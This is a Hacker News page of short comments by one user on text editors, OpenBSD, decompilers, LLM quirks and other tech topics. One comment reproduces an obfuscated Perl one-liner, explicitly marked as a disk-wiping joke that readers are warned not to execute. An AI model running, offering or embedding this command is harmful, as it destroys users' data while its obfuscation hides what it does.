Hacker News: dim13

New comment by dim13 in "Show HN: Toast, a beautiful by default in terminal IDE"

dim13 — Fri, 11 Sep 2026 19:04:15 +0000

Nerdtree is such a waste of screen real estate. I prefer netrw.

New comment by dim13 in "Decompiler Explorer"

dim13 — Sat, 05 Sep 2026 16:52:24 +0000

Trowed in EICAR test "virus" (a valid DOS executable) -- all decompilers just "segfaulted".

https://www.eicar.org/download-anti-malware-testfile/

New comment by dim13 in "Rune 1.1: adds Python, an Emacs editor, a symbol index and is now free"

dim13 — Fri, 31 Jul 2026 12:46:46 +0000

> Vim users seem often quite happy with the vim emulation they get

Not at all. Never seen any vi-emulation, which wasn't totally broken.

New comment by dim13 in "1-Bit LLM in the Browser"

dim13 — Mon, 20 Jul 2026 09:36:22 +0000

Fails "car wash" test miserably. Ask it:

> I want to wash my car. The car wash is 50 meters away. Should I walk or drive?

Ref: https://opper.ai/blog/car-wash-test

New comment by dim13 in "SDL bans AI-written commits"

dim13 — Thu, 16 Apr 2026 20:46:56 +0000

Had same idea some time ago: https://imgur.com/a/11StYkd ;)

New comment by dim13 in "Am I German or Autistic?"

dim13 — Thu, 09 Apr 2026 15:20:23 +0000

Neither Somehow.

German 29%, Autistic 22%

¯\_(ツ)_/¯

New comment by dim13 in "OpenBSD: PF queues break the 4 Gbps barrier"

dim13 — Thu, 19 Mar 2026 19:06:38 +0000

"OpenBSD does not want to attract GNU newbies." misc@

And that's IMHO is a good thing.

New comment by dim13 in "A decentralized peer-to-peer messaging application that operates over Bluetooth"

dim13 — Mon, 19 Jan 2026 12:11:09 +0000

Finally I see some people around. Was pretty lonely, as it launched.

New comment by dim13 in "Unix v4 (1973) – Live Terminal"

dim13 — Fri, 02 Jan 2026 21:18:38 +0000

Glad to have played with it a bit before it got Slashdotted. ;)

New comment by dim13 in "Fahrplan – 39C3"

dim13 — Fri, 26 Dec 2025 16:11:05 +0000

It is no longer the same. It went from somewhat exclusive dining experience to full blown nuclear junk food chain vibe.

I've stopped attending it about 10 years ago. I rather prefer to watch some few interesting topics online, and skip all the wanna-be political junk.

New comment by dim13 in "Pingfs: Stores your data in ICMP ping packets (2020)"

dim13 — Fri, 19 Dec 2025 14:54:41 +0000

Reminded me of GNU Terry Pratchett[1].

[1]: http://www.gnuterrypratchett.com/

New comment by dim13 in "Size of Life"

dim13 — Thu, 11 Dec 2025 08:42:05 +0000

Also: Banana - Although not technically living, it does make for a good size comparison.

New comment by dim13 in "Things I don't like in configuration languages"

dim13 — Mon, 17 Nov 2025 19:20:56 +0000

To be honest, all I see is https://xkcd.com/927/

All config formats are bad. You either don't need all the features at all, except key:value. Or you quickly run into weird limitations and quirks.

What I rather like instead, are custom build english-like DSL's, like:

- https://man.openbsd.org/pf.conf - https://man.openbsd.org/smtpd.conf - https://man.openbsd.org/httpd.conf - … and many more

New comment by dim13 in "Claude outage"

dim13 — Fri, 31 Oct 2025 11:48:56 +0000

I've never started. ¯\_(ツ)_/¯ And also not going to. I see enough crap, colleges produce, to never touch this pile of dung.

New comment by dim13 in "GNU Midnight Commander"

dim13 — Wed, 17 Sep 2025 13:31:30 +0000

… since 1994

New comment by dim13 in "macOS Tahoe"

dim13 — Tue, 16 Sep 2025 11:10:19 +0000

Read most of the comment, was hesitated. Then thought "it can't be that bad". Ok, it is that bad. I absolutely hate extra round corners and extra margin in the windows. Sigh.

New comment by dim13 in "No Hello"

dim13 — Tue, 17 Jun 2025 13:04:34 +0000

I usually take it even a step further by skipping useless "hello".

Instead of "Hello, did you notice, that db is down? Can you check it please?"

Just terse "DB seems to be down. Please check it."

New comment by dim13 in "[dead]"

dim13 — Tue, 03 Jun 2025 18:06:24 +0000

Hilarious, how an old joke from 2003 is still relevant today.

Please, please, please don't execute it. It will try to wipe you disk.

    cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Origin: https://www.linux.org.ru/forum/development/392747

New comment by dim13 in "Calendar.txt"

dim13 — Sat, 01 Mar 2025 09:10:20 +0000

Little known, but there is already calendar(1) [1] in OpenBSD with much more sane format.

[1]: https://man.openbsd.org/calendar.1

New comment by dim13 in "Reverse Engineering Apple's typedstream Format"

dim13 — Mon, 03 Feb 2025 17:42:28 +0000

Grandfather of Protobuf is ASN.1